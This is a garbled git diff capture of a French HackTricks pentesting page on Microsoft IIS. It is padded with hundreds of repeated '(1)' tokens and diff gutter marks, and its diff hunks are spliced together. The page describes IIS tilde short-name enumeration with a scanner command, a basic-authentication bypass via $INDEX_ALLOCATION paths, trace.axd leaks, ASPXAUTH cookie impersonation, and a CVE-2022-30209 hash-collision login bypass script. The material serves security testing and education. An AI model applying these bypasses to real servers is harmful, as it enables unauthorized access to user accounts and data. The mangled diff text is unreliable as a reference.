(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
|
||||||
|
|
||||||
Cela signifie que le serveur **n'a pas reçu le nom de domaine correct** dans l'en-tête Host.\
|
|
||||||
Pour accéder à la page Web, vous pouvez regarder le **certificat SSL** fourni et peut-être trouver le nom de domaine/sous-domaine là-dedans. Si ce n'est pas le cas, vous devrez peut-être **forcer VHosts** jusqu'à ce que vous trouviez le bon.
|
|
||||||
|
|
||||||
## Anciennes vulnérabilités IIS à rechercher
|
|
||||||
|
|
||||||
### Vulnérabilité/Fonctionnalité du caractère tilde “\~” de Microsoft IIS - Divulgation de noms de fichiers/dossiers courts
|
|
||||||
|
|
||||||
Vous pouvez essayer de **énumérer les dossiers et fichiers** à l'intérieur de chaque dossier découvert (même s'il nécessite une authentification de base) en utilisant cette **technique**.\
|
|
||||||
La principale limitation de cette technique si le serveur est vulnérable est que **elle ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension** des fichiers.
|
|
||||||
|
|
||||||
Vous pouvez utiliser [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) pour tester cette vulnérabilité : `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (183).png>)
|
|
||||||
|
|
||||||
Recherche originale : [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
|
|
||||||
|
|
||||||
Vous pouvez également utiliser **metasploit** : `use scanner/http/iis_shortname_scanner`
|
|
||||||
|
|
||||||
### Contournement de l'authentification de base
|
|
||||||
|
|
||||||
**Contourner** une authentification de base (**IIS 7.5**) en essayant d'accéder à : `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php`
|
|
||||||
|
|
||||||
Vous pouvez essayer de **mélanger** cette **vulnérabilité** et la dernière pour trouver de nouveaux **dossiers** et **contourner** l'authentification.
|
|
||||||
|
|
||||||
## Débogage activé Trace.AXD ASP.NET
|
|
||||||
|
|
||||||
ASP.NET inclut un mode de débogage et son fichier s'appelle `trace.axd`.
|
|
||||||
|
|
||||||
Il conserve un journal très détaillé de toutes les demandes effectuées sur une application pendant une période de temps.
|
|
||||||
|
|
||||||
Ces informations comprennent les adresses IP des clients distants, les identifiants de session, tous les cookies de demande et de réponse, les chemins physiques, les informations de code source et potentiellement même les noms d'utilisateur et les mots de passe.
|
|
||||||
|
|
||||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
|
||||||
|
|
||||||
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
|
|
||||||
|
|
||||||
## Cookie ASPXAUTH
|
|
||||||
|
|
||||||
ASPXAUTH utilise les informations suivantes :
|
|
||||||
|
|
||||||
* **`validationKey`** (chaîne) : clé codée en hexadécimal à utiliser pour la validation de la signature.
|
|
||||||
* **`decryptionMethod`** (chaîne) : (par défaut "AES").
|
|
||||||
* **`decryptionIV`** (chaîne) : vecteur d'initialisation codé en hexadécimal (par défaut à un vecteur de zéros).
|
|
||||||
* **`decryptionKey`** (chaîne) : clé codée en hexadécimal à utiliser pour le déchiffrement.
|
|
||||||
|
|
||||||
Cependant, certaines personnes utiliseront les **valeurs par défaut** de ces paramètres et utiliseront comme **cookie l'e-mail de l'utilisateur**. Par conséquent, si vous pouvez trouver un site Web utilisant la **même plateforme** qui utilise le cookie ASPXAUTH et que vous **créez un utilisateur avec l'e-mail de l'utilisateur que vous voulez usurper** sur le serveur attaqué, vous pourrez peut-être utiliser le cookie du deuxième serveur dans le premier et usurper l'utilisateur.\
|
|
||||||
Cette attaque a fonctionné dans cette [**description**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
|
||||||
|
|
||||||
## Contournement de l'authentification IIS avec des mots de passe mis en cache (CVE-2022-30209) <a href="#3-iis-authentication-bypass" id="3-iis-authentication-bypass"></a>
|
|
||||||
|
|
||||||
Un bogue dans le code **n'a pas vérifié correctement le mot de passe donné par l'utilisateur**, de sorte qu'un attaquant dont le **hachage de mot de passe frappe une clé** qui est déjà dans le **cache** pourra se connecter en tant que cet utilisateur ([rapport complet ici](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)).
|
|
||||||
```python
|
```python
|
||||||
# script for sanity check
|
# script for sanity check
|
||||||
> type test.py
|
> type test.py
|
||||||
def HashString(password):
|
def HashString(password):
|
||||||
j = 0
|
j = 0
|
||||||
for c in map(ord, password):
|
for c in map(ord, password):
|
||||||
j = c + (101*j)&0xffffffff
|
j = c + (101*j)&0xffffffff
|
||||||
return j
|
return j
|
||||||
|
|
||||||
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
||||||
|
|
||||||
|
@ -390,10 +338,10 @@ HTTP/1.1 200 OK
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue